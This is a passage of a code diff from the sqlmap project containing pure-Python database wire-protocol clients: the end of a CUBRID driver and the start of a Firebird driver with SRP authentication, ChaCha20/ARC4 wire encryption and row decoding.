return "%s" % datetime.datetime(y, mo, d, h, mi, s, ms * 1000)
|
||||
if col_type == _T_OBJECT:
|
||||
page, slot, vol = reader.int(), reader.short(), reader.short()
|
||||
return "OID:@%d|%d|%d" % (page, slot, vol)
|
||||
return reader.raw(size) # BLOB/CLOB locator or unknown type -> raw bytes
|
||||
|
||||
class _Column(object):
|
||||
__slots__ = ("name", "type", "scale", "precision")
|
||||
|
||||
class Cursor(object):
|
||||
def __init__(self, connection):
|
||||
self.connection = connection
|
||||
self.description = None
|
||||
self.rowcount = -1
|
||||
self._rows = []
|
||||
self._pos = 0
|
||||
|
||||
def execute(self, query, params=None):
|
||||
if params is not None:
|
||||
raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string")
|
||||
self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0
|
||||
self.description, self._rows, self.rowcount = self.connection._query(query)
|
||||
return self
|
||||
|
||||
def fetchall(self):
|
||||
retVal = self._rows[self._pos:]
|
||||
self._pos = len(self._rows)
|
||||
return retVal
|
||||
|
||||
def fetchone(self):
|
||||
if self._pos >= len(self._rows):
|
||||
return None
|
||||
retVal = self._rows[self._pos]
|
||||
self._pos += 1
|
||||
return retVal
|
||||
|
||||
def close(self):
|
||||
self._rows = []
|
||||
|
||||
class Connection(object):
|
||||
def __init__(self, host, port, user, password, database, timeout):
|
||||
self._host = host
|
||||
self._port = port
|
||||
self._user = user
|
||||
self._password = password
|
||||
self._database = database
|
||||
self._timeout = timeout
|
||||
self._sock = None
|
||||
self._cas_info = b"\x00\x00\x00\x00"
|
||||
self._protocol_version = 8
|
||||
self._open()
|
||||
|
||||
def cursor(self):
|
||||
return Cursor(self)
|
||||
|
||||
def commit(self):
|
||||
self._call(_Writer(_FC_END_TRAN).arg_byte(_TRAN_COMMIT))
|
||||
|
||||
def rollback(self):
|
||||
self._call(_Writer(_FC_END_TRAN).arg_byte(_TRAN_ROLLBACK))
|
||||
|
||||
def close(self):
|
||||
try:
|
||||
if self._sock is not None:
|
||||
self._send(_Writer(_FC_CON_CLOSE).payload())
|
||||
except Exception:
|
||||
pass
|
||||
self._safe_close()
|
||||
|
||||
# ---- connection / framing ----
|
||||
|
||||
def _safe_close(self):
|
||||
try:
|
||||
if self._sock is not None:
|
||||
self._sock.close()
|
||||
except Exception:
|
||||
pass
|
||||
self._sock = None
|
||||
|
||||
def _recvn(self, n):
|
||||
return recvn(self._sock, n)
|
||||
|
||||
def _open(self):
|
||||
# broker handshake (may redirect to a dedicated CAS worker port), then cleartext OPEN_DATABASE login
|
||||
try:
|
||||
sock = socket.create_connection((self._host, self._port), timeout=self._timeout)
|
||||
keepalive(sock)
|
||||
sock.sendall(_MAGIC + struct.pack(">BB", _CLIENT_JDBC, _CAS_VERSION) + b"\x00\x00\x00")
|
||||
self._sock = sock
|
||||
(port,) = struct.unpack(">i", self._recvn(4))
|
||||
if port < 0:
|
||||
raise OperationalError("CUBRID broker rejected the connection (status %d)" % port)
|
||||
if port > 0: # redirected to a CAS worker: reconnect there, no second handshake
|
||||
self._safe_close()
|
||||
sock = socket.create_connection((self._host, port), timeout=self._timeout)
|
||||
keepalive(sock)
|
||||
self._sock = sock
|
||||
|
||||
login = self._fixed(self._database, 32) + self._fixed(self._user, 32) + self._fixed(self._password, 32)
|
||||
login += b"\x00" * 532 # 512 extended-info + 20 reserved
|
||||
self._sock.sendall(login)
|
||||
reader = self._read_response()
|
||||
reader.int() # response_code (>=0; errors already raised in _read_response)
|
||||
broker = reader.raw(8)
|
||||
self._protocol_version = bytearray(broker)[4] & 0x3f
|
||||
# enable auto-commit so each statement is independent (avoids the CAS keep-connection handshake dance)
|
||||
self._call(_Writer(_FC_SET_DB_PARAMETER).arg_int(_PARAM_AUTO_COMMIT).arg_int(1))
|
||||
except (socket.error, socket.timeout) as ex:
|
||||
self._safe_close()
|
||||
raise OperationalError("could not connect to '%s:%s' (%s)" % (self._host, self._port, ex))
|
||||
except Exception: # a rejected login (or connection_lost() out of _recvn) is still ours to close
|
||||
self._safe_close()
|
||||
raise
|
||||
|
||||
handshake_done(self._sock)
|
||||
|
||||
@staticmethod
|
||||
def _fixed(value, length):
|
||||
b = (value or "").encode("utf-8")[:length]
|
||||
return b + b"\x00" * (length - len(b))
|
||||
|
||||
def _send(self, payload):
|
||||
# frame: [payload_len(4)][cas_info(4)][payload]
|
||||
try:
|
||||
self._sock.sendall(struct.pack(">i", len(payload)) + self._cas_info + payload)
|
||||
except (socket.error, OSError) as ex:
|
||||
raise connection_lost(ex)
|
||||
|
||||
def _read_response(self):
|
||||
(data_length,) = struct.unpack(">i", self._recvn(4))
|
||||
if data_length < 0 or data_length > _MAX_MESSAGE_LENGTH:
|
||||
raise InterfaceError("invalid CAS response length (%d)" % data_length)
|
||||
body = self._recvn(data_length + 4) # cas_info(4) + payload(data_length)
|
||||
self._cas_info = body[:4]
|
||||
reader = _Reader(body[4:])
|
||||
peek = struct.unpack_from(">i", body, 4)[0]
|
||||
if peek < 0: # error response: response_code(<0), errno, message
|
||||
reader.int()
|
||||
errno = reader.int()
|
||||
message = _decode_text(reader.nts(reader.remaining()))
|
||||
if not isinstance(message, str):
|
||||
message = "errno %d" % errno
|
||||
self._raise(errno, "(remote) %s" % message.strip())
|
||||
return reader
|
||||
|
||||
def _call(self, writer):
|
||||
# reconnect transparently if the CAS worker was released after a previous auto-committed statement
|
||||
if self._sock is None or bytearray(self._cas_info)[0] == 0:
|
||||
self._open()
|
||||
try:
|
||||
self._send(writer.payload() if isinstance(writer, _Writer) else writer)
|
||||
return self._read_response()
|
||||
except (struct.error, IndexError, ValueError) as ex:
|
||||
raise InterfaceError("malformed server response: %s" % ex)
|
||||
|
||||
@staticmethod
|
||||
def _raise(errno, message):
|
||||
text = message.lower()
|
||||
if any(k in text for k in ("unique", "duplicate", "foreign key", "constraint violat")):
|
||||
raise IntegrityError(message)
|
||||
if any(k in text for k in ("syntax", "unknown class", "does not exist", "not found", "before '")):
|
||||
raise ProgrammingError(message) # CUBRID points at the offending token as: before ' ,'y')'
|
||||
if any(k in text for k in ("cast", "coerce", "conversion", "overflow", "truncat")):
|
||||
raise DataError(message)
|
||||
raise ProgrammingError(message)
|
||||
|
||||
# ---- query ----
|
||||
|
||||
def _query(self, query):
|
||||
reader = self._call(_Writer(_FC_PREPARE).arg_nts(query).arg_byte(0).arg_byte(0))
|
||||
handle = reader.int()
|
||||
try:
|
||||
return self._execute(handle, reader)
|
||||
finally:
|
||||
# release the broker-side request handle even when execute/fetch raised: a connection that
|
||||
# survives a few failed statements would otherwise hold every one of them until it closes
|
||||
try:
|
||||
self._call(_Writer(_FC_CLOSE_REQ_HANDLE).arg_int(handle))
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def _execute(self, handle, reader):
|
||||
reader.int() # result cache lifetime
|
||||
stmt_type = reader.byte()
|
||||
reader.int() # bind count
|
||||
reader.byte() # is_updatable
|
||||
columns = self._parse_columns(reader, reader.int())
|
||||
|
||||
# args: handle, flag, max_col_size, max_row, binds, fetch_flag, auto_commit, forward_only_cursor,
|
||||
# cache_time, query_timeout. auto_commit makes the CAS worker commit the statement and end the
|
||||
# transaction - without it DML is rolled back when the connection drops, whatever _open() asked
|
||||
# SET_DB_PARAMETER for. It must stay off for a SELECT: ending the transaction there invalidates the
|
||||
# request handle the paged _fetch_remaining() still reads from.
|
||||
select = stmt_type == _STMT_SELECT
|
||||
exec_writer = (_Writer(_FC_EXECUTE).arg_int(handle).arg_byte(0).arg_int(0).arg_int(0)
|
||||
.arg_null().arg_byte(1 if select else 0)
|
||||
.arg_byte(0 if select else 1).arg_byte(1).arg_cache_time().arg_int(0))
|
||||
reader = self._call(exec_writer)
|
||||
|
||||
total = reader.int()
|
||||
reader.byte() # cache reusable
|
||||
result_count = reader.int()
|
||||
result_infos = [self._parse_result_info(reader) for _ in range(result_count)]
|
||||
if self._protocol_version > 1:
|
||||
reader.byte() # includes_column_info
|
||||
if self._protocol_version > 4:
|
||||
reader.int() # shard_id
|
||||
|
||||
description, rows, rowcount = None, [], -1
|
||||
if stmt_type == _STMT_SELECT and columns:
|
||||
description = [(c.name, c.type, None, None, c.precision, c.scale, None) for c in columns]
|
||||
if reader.remaining() >= 8:
|
||||
reader.int() # fetch code
|
||||
tuple_count = reader.int()
|
||||
rows = self._parse_rows(reader, tuple_count, columns)
|
||||
rows += self._fetch_remaining(handle, columns, len(rows), total)
|
||||
elif result_infos:
|
||||
rowcount = result_infos[0]
|
||||
return description, rows, rowcount
|
||||
|
||||
def _fetch_remaining(self, handle, columns, fetched, total):
|
||||
rows = []
|
||||
while fetched + len(rows) < total:
|
||||
reader = self._call(_Writer(_FC_FETCH).arg_int(handle)
|
||||
.arg_int(fetched + len(rows) + 1).arg_int(100).arg_byte(0).arg_int(0))
|
||||
reader.int() # response code (>=0)
|
||||
tuple_count = reader.int()
|
||||
if tuple_count <= 0:
|
||||
break
|
||||
rows += self._parse_rows(reader, tuple_count, columns)
|
||||
return rows
|
||||
|
||||
def _parse_result_info(self, reader):
|
||||
reader.byte() # stmt type
|
||||
count = reader.int() # affected rows
|
||||
reader.raw(_OID_SIZE)
|
||||
reader.int(); reader.int() # cache time sec/usec
|
||||
return count
|
||||
|
||||
def _parse_columns(self, reader, count):
|
||||
columns = []
|
||||
for _ in range(count):
|
||||
col = _Column()
|
||||
legacy = reader.byte()
|
||||
col.type = reader.byte() if legacy & 0x80 else legacy
|
||||
col.scale = reader.short()
|
||||
col.precision = reader.int()
|
||||
col.name = _to_str(reader.nts(reader.int()))
|
||||
reader.nts(reader.int()) # real name
|
||||
reader.nts(reader.int()) # table name
|
||||
reader.byte() # is_nullable
|
||||
reader.nts(reader.int()) # default value
|
||||
reader.skip(7) # auto_inc/unique/primary/rev_index/rev_unique/foreign/shared
|
||||
columns.append(col)
|
||||
return columns
|
||||
|
||||
def _parse_rows(self, reader, tuple_count, columns):
|
||||
rows = []
|
||||
for _ in range(tuple_count):
|
||||
reader.int() # row index
|
||||
reader.skip(_OID_SIZE)
|
||||
row = []
|
||||
for col in columns:
|
||||
size = reader.int()
|
||||
if size <= 0:
|
||||
row.append(None)
|
||||
else:
|
||||
row.append(_decode_value(reader, col.type, size))
|
||||
rows.append(tuple(row))
|
||||
return rows
|
||||
|
||||
def _to_str(b):
|
||||
v = _decode_text(b)
|
||||
return v if isinstance(v, str) else v.decode("latin-1")
|
||||
|
||||
def connect(host=None, port=33000, user=None, password=None, database=None, connect_timeout=None, **kwargs):
|
||||
try:
|
||||
return Connection(host or "localhost", int(port or 33000), user or "public",
|
||||
password or "", database or "", connect_timeout)
|
||||
except (DatabaseError, InterfaceError):
|
||||
raise
|
||||
except Exception as ex:
|
||||
raise OperationalError("CUBRID connection failed (%s)" % ex)
|
||||
@@ -0,0 +1,870 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
"""
|
||||
Minimal pure-python Firebird wire-protocol client (stdlib only, no firebirdsql).
|
||||
|
||||
Speaks the Firebird v13-17 protocol (Firebird 3/4/5): op_connect, SRP-256 authentication, ChaCha20 (or
|
||||
Arc4) wire encryption - which Firebird 4+ requires by default - then attach / transaction / prepare /
|
||||
execute / fetch with XSQLDA column description and row decoding. Read-oriented for sqlmap: execute() takes
|
||||
a fully-formed query string, binary/blob values come back as bytes (sqlmap hex-encodes them).
|
||||
"""
|
||||
|
||||
import datetime
|
||||
import hashlib
|
||||
import os
|
||||
import socket
|
||||
import struct
|
||||
|
||||
from extra.dbwire import DatabaseError
|
||||
from extra.dbwire import DataError
|
||||
from extra.dbwire import IntegrityError
|
||||
from extra.dbwire import InterfaceError
|
||||
from extra.dbwire import NotSupportedError
|
||||
from extra.dbwire import OperationalError
|
||||
from extra.dbwire import connection_lost
|
||||
from extra.dbwire import handshake_done
|
||||
from extra.dbwire import keepalive
|
||||
from extra.dbwire import recvn
|
||||
|
||||
# operation codes
|
||||
_op_connect = 1
|
||||
_op_accept = 3
|
||||
_op_reject = 4
|
||||
_op_response = 9
|
||||
_op_attach = 19
|
||||
_op_detach = 21
|
||||
_op_transaction = 29
|
||||
_op_commit_retaining = 50
|
||||
_op_rollback_retaining = 86
|
||||
_op_get_segment = 36
|
||||
_op_close_blob = 39
|
||||
_op_open_blob2 = 56
|
||||
_op_allocate_statement = 62
|
||||
_op_execute = 63
|
||||
_op_fetch = 65
|
||||
_op_fetch_response = 66
|
||||
_op_free_statement = 67
|
||||
_op_prepare_statement = 68
|
||||
_op_info_sql = 70
|
||||
_op_dummy = 71
|
||||
_op_cont_auth = 92
|
||||
_op_crypt = 96
|
||||
_op_accept_data = 94
|
||||
_op_cond_accept = 98
|
||||
|
||||
# CNCT parameter codes
|
||||
_CNCT_user = 1
|
||||
_CNCT_host = 4
|
||||
_CNCT_user_verification = 6
|
||||
_CNCT_specific_data = 7
|
||||
_CNCT_plugin_name = 8
|
||||
_CNCT_login = 9
|
||||
_CNCT_plugin_list = 10
|
||||
_CNCT_client_crypt = 11
|
||||
|
||||
# database / transaction parameter block items
|
||||
_isc_dpb_version1 = 1
|
||||
_isc_dpb_user_name = 28
|
||||
_isc_dpb_lc_ctype = 48
|
||||
_isc_dpb_process_id = 71
|
||||
_isc_dpb_process_name = 74
|
||||
_isc_tpb_version3 = 3
|
||||
_isc_tpb_wait = 6
|
||||
_isc_tpb_write = 9
|
||||
_isc_tpb_read_committed = 15
|
||||
_isc_tpb_rec_version = 17
|
||||
|
||||
# isc_info_sql_* describe items
|
||||
_isc_info_end = 1
|
||||
_isc_info_truncated = 2
|
||||
_isc_info_sql_select = 4
|
||||
_isc_info_sql_describe_vars = 7
|
||||
_isc_info_sql_describe_end = 8
|
||||
_isc_info_sql_sqlda_seq = 9
|
||||
_isc_info_sql_type = 11
|
||||
_isc_info_sql_sub_type = 12
|
||||
_isc_info_sql_scale = 13
|
||||
_isc_info_sql_length = 14
|
||||
_isc_info_sql_null_ind = 15
|
||||
_isc_info_sql_field = 16
|
||||
_isc_info_sql_relation = 17
|
||||
_isc_info_sql_owner = 18
|
||||
_isc_info_sql_alias = 19
|
||||
_isc_info_sql_sqlda_start = 20
|
||||
_isc_info_sql_stmt_type = 21
|
||||
_INFO_SQL_SELECT_DESCRIBE_VARS = bytes(bytearray([
|
||||
_isc_info_sql_select, _isc_info_sql_describe_vars, _isc_info_sql_sqlda_seq,
|
||||
_isc_info_sql_type, _isc_info_sql_sub_type, _isc_info_sql_scale, _isc_info_sql_length,
|
||||
_isc_info_sql_null_ind, _isc_info_sql_field, _isc_info_sql_relation, _isc_info_sql_owner,
|
||||
_isc_info_sql_alias, _isc_info_sql_describe_end]))
|
||||
|
||||
_isc_info_sql_stmt_select = 1
|
||||
_DSQL_drop = 2
|
||||
|
||||
# SQL type codes
|
||||
_SQL_VARYING = 448
|
||||
_SQL_TEXT = 452
|
||||
_SQL_DOUBLE = 480
|
||||
_SQL_FLOAT = 482
|
||||
_SQL_LONG = 496
|
||||
_SQL_SHORT = 500
|
||||
_SQL_TIMESTAMP = 510
|
||||
_SQL_BLOB = 520
|
||||
_SQL_TIME = 560
|
||||
_SQL_DATE = 570
|
||||
_SQL_INT64 = 580
|
||||
_SQL_INT128 = 32752
|
||||
_SQL_TIMESTAMP_TZ = 32754
|
||||
_SQL_TIME_TZ = 32756
|
||||
_SQL_BOOLEAN = 32764
|
||||
_SQL_TYPE_LENGTH = { # fixed on-the-wire length by SQL type (VARYING is length-prefixed -> -1)
|
||||
_SQL_VARYING: -1, _SQL_SHORT: 4, _SQL_LONG: 4, _SQL_FLOAT: 4, _SQL_TIME: 4, _SQL_DATE: 4,
|
||||
_SQL_DOUBLE: 8, _SQL_TIMESTAMP: 8, _SQL_BLOB: 8, _SQL_INT64: 8, _SQL_INT128: 16,
|
||||
_SQL_TIMESTAMP_TZ: 12, _SQL_TIME_TZ: 8, _SQL_BOOLEAN: 1,
|
||||
}
|
||||
# per-type output BLR fragment used to describe the fetched row (see calc_blr)
|
||||
_SQL_TYPE_BLR = {
|
||||
_SQL_DOUBLE: [27], _SQL_FLOAT: [10], _SQL_DATE: [12], _SQL_TIME: [13], _SQL_TIMESTAMP: [35],
|
||||
_SQL_BLOB: [9, 0], _SQL_BOOLEAN: [23], _SQL_TIME_TZ: [28], _SQL_TIMESTAMP_TZ: [29],
|
||||
}
|
||||
|
||||
# status-vector argument tags
|
||||
_isc_arg_end = 0
|
||||
_isc_arg_gds = 1
|
||||
_isc_arg_string = 2
|
||||
_isc_arg_number = 4
|
||||
_isc_arg_interpreted = 5
|
||||
_isc_arg_sql_state = 19
|
||||
_GDS_INTEGRITY = frozenset((335544838, 335544879, 335544880, 335544466, 335544665, 335544347, 335544558))
|
||||
_GDS_DATA = frozenset((335544321,))
|
||||
_GDS_WARNING = 335544434
|
||||
|
||||
_MAX_MESSAGE_LENGTH = 0x40000000 # cap on a wire-supplied length, to bound a hostile/corrupt stream
|
||||
|
||||
# SRP-6a group used by Firebird (fixed 1024-bit prime, generator 2)
|
||||
_SRP_N = int("E67D2E994B2F900C3F41F08F5BB2627ED0D49EE1FE767A52EFCD565CD6E768812C3E1E9CE8F0A8BEA6CB13CD29DDE"
|
||||
"BF7A96D4A93B55D488DF099A15C89DCB0640738EB2CBDD9A8F7BAB561AB1B0DC1C6CDABF303264A08D1BCA932D1F"
|
||||
"1EE428B619D970F342ABA9A65793B8B2F041AE5364350C16F735F56ECBCA87BD57B29E7", 16)
|
||||
_SRP_g = 2
|
||||
_SRP_k = 1277432915985975349439481660349303019122249719989
|
||||
|
||||
def _minbe(n):
|
||||
# minimal big-endian bytes of a non-negative integer (matches firebirdsql long2bytes/pad for these sizes)
|
||||
out = bytearray()
|
||||
while n > 0:
|
||||
out.insert(0, n & 0xff)
|
||||
n >>= 8
|
||||
return bytes(out)
|
||||
|
||||
def _b2l(b):
|
||||
n = 0
|
||||
for c in bytearray(b):
|
||||
n = (n << 8) | c
|
||||
return n
|
||||
|
||||
def _sha1(*parts):
|
||||
h = hashlib.sha1()
|
||||
for p in parts:
|
||||
h.update(p if isinstance(p, bytes) else _minbe(p))
|
||||
return h.digest()
|
||||
|
||||
def _srp_client_seed():
|
||||
a = _b2l(os.urandom(16)) # client private key (128-bit)
|
||||
return pow(_SRP_g, a, _SRP_N), a
|
||||
|
||||
def _srp_client_proof(user, password, salt, A, B, a, hash_algo):
|
||||
# session key K (always SHA-1) then the Firebird-specific proof M (SHA-1 for Srp, SHA-256 for Srp256)
|
||||
u = _b2l(_sha1(_minbe(A), _minbe(B)))
|
||||
x = _b2l(_sha1(salt, _sha1(user, b":", password)))
|
||||
S = pow((B - _SRP_k * pow(_SRP_g, x, _SRP_N)) % _SRP_N, (a + u * x) % _SRP_N, _SRP_N)
|
||||
K = _sha1(_minbe(S))
|
||||
n1 = _b2l(_sha1(_minbe(_SRP_N)))
|
||||
n2 = _b2l(_sha1(_minbe(_SRP_g)))
|
||||
n1 = pow(n1, n2, _SRP_N) # NOTE: modular exponentiation, not XOR (Firebird quirk)
|
||||
n2 = _b2l(_sha1(user))
|
||||
h = hash_algo()
|
||||
for p in (_minbe(n1), _minbe(n2), salt, _minbe(A), _minbe(B), K):
|
||||
h.update(p)
|
||||
return h.digest(), K
|
||||
|
||||
class _ARC4(object):
|
||||
def __init__(self, key):
|
||||
s = list(range(256))
|
||||
key = bytearray(key)
|
||||
j = 0
|
||||
for i in range(256):
|
||||
j = (j + s[i] + key[i % len(key)]) & 0xff
|
||||
s[i], s[j] = s[j], s[i]
|
||||
self._s, self._i, self._j = s, 0, 0
|
||||
|
||||
def translate(self, data):
|
||||
s, i, j, out = self._s, self._i, self._j, bytearray()
|
||||
for c in bytearray(data):
|
||||
i = (i + 1) & 0xff
|
||||
j = (j + s[i]) & 0xff
|
||||
s[i], s[j] = s[j], s[i]
|
||||
out.append(c ^ s[(s[i] + s[j]) & 0xff])
|
||||
self._i, self._j = i, j
|
||||
return bytes(out)
|
||||
|
||||
class _ChaCha20(object):
|
||||
_SIGMA = b"expand 32-byte k"
|
||||
|
||||
def __init__(self, key, nonce):
|
||||
self._nonce = nonce
|
||||
self._counter = 0
|
||||
block = self._SIGMA + key + self._ctr_bytes() + nonce
|
||||
self._state = list(struct.unpack("<16L", block))
|
||||
self._make_block()
|
||||
|
||||
def _ctr_bytes(self):
|
||||
return struct.pack("<Q", self._counter)[:16 - len(self._nonce)]
|
||||
|
||||
def _make_block(self):
|
||||
x = list(self._state)
|
||||
for _ in range(10):
|
||||
self._qr(x, 0, 4, 8, 12); self._qr(x, 1, 5, 9, 13)
|
||||
self._qr(x, 2, 6, 10, 14); self._qr(x, 3, 7, 11, 15)
|
||||
self._qr(x, 0, 5, 10, 15); self._qr(x, 1, 6, 11, 12)
|
||||
self._qr(x, 2, 7, 8, 13); self._qr(x, 3, 4, 9, 14)
|
||||
self._block = struct.pack("<16L", *[(x[i] + self._state[i]) & 0xffffffff for i in range(16)])
|
||||
self._pos = 0
|
||||
|
||||
@staticmethod
|
||||
def _qr(x, a, b, c, d):
|
||||
def rot(v, n):
|
||||
return ((v << n) | (v >> (32 - n))) & 0xffffffff
|
||||
x[a] = (x[a] + x[b]) & 0xffffffff; x[d] = rot(x[d] ^ x[a], 16)
|
||||
x[c] = (x[c] + x[d]) & 0xffffffff; x[b] = rot(x[b] ^ x[c], 12)
|
||||
x[a] = (x[a] + x[b]) & 0xffffffff; x[d] = rot(x[d] ^ x[a], 8)
|
||||
x[c] = (x[c] + x[d]) & 0xffffffff; x[b] = rot(x[b] ^ x[c], 7)
|
||||
|
||||
def translate(self, data):
|
||||
out = bytearray()
|
||||
block = bytearray(self._block)
|
||||
for c in bytearray(data):
|
||||
out.append(c ^ block[self._pos])
|
||||
self._pos += 1
|
||||
if self._pos == 64:
|
||||
self._counter += 1
|
||||
cb = self._ctr_bytes()
|
||||
self._state[12] = struct.unpack("<L", cb[:4])[0]
|
||||
if len(self._nonce) == 8:
|
||||
self._state[13] = struct.unpack("<L", cb[4:8])[0]
|
||||
self._make_block()
|
||||
block = bytearray(self._block)
|
||||
return bytes(out)
|
||||
|
||||
def _guess_wire_crypt(buf):
|
||||
# parse the crypt-key callback (type/length/value items) -> (plugin, nonce)
|
||||
plugins, nonces, buf, i = [], [], bytearray(buf), 0
|
||||
while i < len(buf):
|
||||
t, ln = buf[i], buf[i + 1]
|
||||
v = bytes(buf[i + 2:i + 2 + ln])
|
||||
i += 2 + ln
|
||||
if t == 1:
|
||||
plugins = v.split()
|
||||
elif t == 3:
|
||||
nonces.append(v)
|
||||
if b"ChaCha64" in plugins:
|
||||
for s in nonces:
|
||||
if s[:9] == b"ChaCha64\x00":
|
||||
return b"ChaCha64", s[9:]
|
||||
if b"ChaCha" in plugins:
|
||||
for s in nonces:
|
||||
if s[:7] == b"ChaCha\x00":
|
||||
return b"ChaCha", s[7:7 + 12]
|
||||
if b"Arc4" in plugins:
|
||||
return b"Arc4", None
|
||||
return None, None
|
||||
|
||||
class _Wire(object):
|
||||
def __init__(self, sock):
|
||||
self._sock = sock
|
||||
self._rc = self._wc = None
|
||||
|
||||
def set_ciphers(self, rc, wc):
|
||||
self._rc, self._wc = rc, wc
|
||||
|
||||
def send(self, data):
|
||||
try:
|
||||
self._sock.sendall(self._wc.translate(data) if self._wc else data)
|
||||
except (socket.error, OSError) as ex:
|
||||
raise connection_lost(ex)
|
||||
|
||||
def _recv_raw(self, n):
|
||||
return recvn(self._sock, n)
|
||||
|
||||
def recv(self, n, align=False):
|
||||
# every length here comes off the wire (response buffers, status strings, per-value lengths): a
|
||||
# negative one would silently return short data, a huge one would read until memory ran out
|
||||
if n < 0 or n > _MAX_MESSAGE_LENGTH:
|
||||
raise InterfaceError("invalid Firebird length (%d)" % n)
|
||||
total = n + ((4 - n % 4) % 4) if align else n
|
||||
data = self._recv_raw(total)
|
||||
if self._rc:
|
||||
data = self._rc.translate(data)
|
||||
return data[:n]
|
||||
|
||||
def recv_int(self):
|
||||
return struct.unpack("!i", self.recv(4))[0]
|
||||
|
||||
def recv_bytes(self):
|
||||
return self.recv(self.recv_int(), align=True)
|
||||
|
||||
def close(self):
|
||||
try:
|
||||
self._sock.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def _parse_response(wire):
|
||||
head = wire.recv(16)
|
||||
handle = struct.unpack("!i", head[:4])[0]
|
||||
object_id = head[4:12]
|
||||
buf = wire.recv(struct.unpack("!i", head[12:16])[0], align=True)
|
||||
_check_status(wire)
|
||||
return handle, object_id, buf
|
||||
|
||||
def _check_status(wire):
|
||||
gds, message = set(), ""
|
||||
n = wire.recv_int()
|
||||
while n != _isc_arg_end:
|
||||
if n == _isc_arg_gds:
|
||||
gds_code = wire.recv_int()
|
||||
if gds_code:
|
||||
gds.add(gds_code)
|
||||
elif n == _isc_arg_number:
|
||||
message += " %d" % wire.recv_int()
|
||||
elif n in (_isc_arg_string, _isc_arg_interpreted, _isc_arg_sql_state):
|
||||
s = wire.recv(wire.recv_int(), align=True)
|
||||
if n != _isc_arg_sql_state:
|
||||
message += " " + s.decode("utf-8", "replace")
|
||||
n = wire.recv_int()
|
||||
if gds:
|
||||
message = ("(remote) firebird error %s%s" % (sorted(gds), message)).strip()
|
||||
if gds & _GDS_INTEGRITY:
|
||||
raise IntegrityError(message)
|
||||
if gds & _GDS_DATA:
|
||||
raise DataError(message)
|
||||
if _GDS_WARNING not in gds:
|
||||
raise OperationalError(message)
|
||||
|
||||
def _pack_int(v):
|
||||
return struct.pack("!i", v)
|
||||
|
||||
def _pack_bytes(v):
|
||||
return _pack_int(len(v)) + v + b"\x00" * ((4 - len(v) % 4) % 4)
|
||||
|
||||
def _le(b):
|
||||
n = 0
|
||||
for c in reversed(bytearray(b)):
|
||||
n = (n << 8) | c
|
||||
return n
|
||||
|
||||
def _le_signed(b):
|
||||
n = _le(b) # info-buffer scalars are little-endian; scale is signed (usually negative)
|
||||
if b and (bytearray(b)[-1] & 0x80):
|
||||
n -= 1 << (8 * len(b))
|
||||
return n
|
||||
|
||||
def _b2i_signed(b):
|
||||
n = _b2l(b)
|
||||
if bytearray(b) and bytearray(b)[0] & 0x80:
|
||||
n -= 1 << (8 * len(b))
|
||||
return n
|
||||
|
||||
def _scaled(n, scale):
|
||||
"""
|
||||
integer n represents n * 10**scale (scale <= 0); render as an exact decimal string
|
||||
|
||||
>>> _scaled(1234, -2)
|
||||
'12.34'
|
||||
>>> _scaled(-5, -2)
|
||||
'-0.05'
|
||||
>>> _scaled(5, -4)
|
||||
'0.0005'
|
||||
>>> _scaled(7, 0)
|
||||
'7'
|
||||
"""
|
||||
if scale >= 0:
|
||||
return str(n * (10 ** scale))
|
||||
digits = "%0*d" % (-scale + 1, abs(n))
|
||||
return ("-" if n < 0 else "") + digits[:scale] + "." + digits[scale:]
|
||||
|
||||
_EPOCH_DAYS = datetime.date(1858, 11, 17).toordinal()
|
||||
|
||||
def _decode_date(raw):
|
||||
return datetime.date.fromordinal(_EPOCH_DAYS + struct.unpack("!i", raw)[0])
|
||||
|
||||
def _decode_time(raw):
|
||||
n = struct.unpack("!I", raw)[0]
|
||||
s, frac = divmod(n, 10000)
|
||||
return datetime.time(s // 3600, (s // 60) % 60, s % 60, frac * 100)
|
||||
|
||||
class _Column(object):
|
||||
__slots__ = ("name", "sqltype", "subtype", "scale", "length")
|
||||
|
||||
def io_length(self):
|
||||
return self.length if self.sqltype == _SQL_TEXT else _SQL_TYPE_LENGTH[self.sqltype]
|
||||
|
||||
class Cursor(object):
|
||||
def __init__(self, connection):
|
||||
self.connection = connection
|
||||
self.description = None
|
||||
self.rowcount = -1
|
||||
self._rows = []
|
||||
self._pos = 0
|
||||
|
||||
def execute(self, query, params=None):
|
||||
if params is not None:
|
||||
raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string")
|
||||
self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0
|
||||
self.description, self._rows = self.connection._query(query)
|
||||
self.rowcount = len(self._rows)
|
||||
return self
|
||||
|
||||
def fetchall(self):
|
||||
retVal = self._rows[self._pos:]
|
||||
self._pos = len(self._rows)
|
||||
return retVal
|
||||
|
||||
def fetchone(self):
|
||||
if self._pos >= len(self._rows):
|
||||
return None
|
||||
retVal = self._rows[self._pos]
|
||||
self._pos += 1
|
||||
return retVal
|
||||
|
||||
def close(self):
|
||||
self._rows = []
|
||||
|
||||
class Connection(object):
|
||||
def __init__(self, wire, filename, user, password):
|
||||
self._wire = wire
|
||||
self._filename = filename
|
||||
self._user = user
|
||||
self._password = password
|
||||
self._db_handle = None
|
||||
self._trans_handle = None
|
||||
|
||||
def cursor(self):
|
||||
return Cursor(self)
|
||||
|
||||
def commit(self):
|
||||
if self._trans_handle is not None:
|
||||
self._send(_pack_int(_op_commit_retaining) + _pack_int(self._trans_handle))
|
||||
self._response()
|
||||
|
||||
def rollback(self):
|
||||
if self._trans_handle is not None:
|
||||
self._send(_pack_int(_op_rollback_retaining) + _pack_int(self._trans_handle))
|
||||
self._response()
|
||||
|
||||
def close(self):
|
||||
try:
|
||||
if self._db_handle is not None:
|
||||
self._send(_pack_int(_op_detach) + _pack_int(self._db_handle))
|
||||
self._response()
|
||||
except Exception:
|
||||
pass
|
||||
self._wire.close()
|
||||
|
||||
# ---- wire helpers ----
|
||||
|
||||
def _send(self, data):
|
||||
self._wire.send(data)
|
||||
|
||||
def _response(self):
|
||||
op = self._wire.recv_int()
|
||||
while op == _op_dummy:
|
||||
op = self._wire.recv_int()
|
||||
if op != _op_response:
|
||||
raise OperationalError("unexpected Firebird operation %d" % op)
|
||||
return _parse_response(self._wire)
|
||||
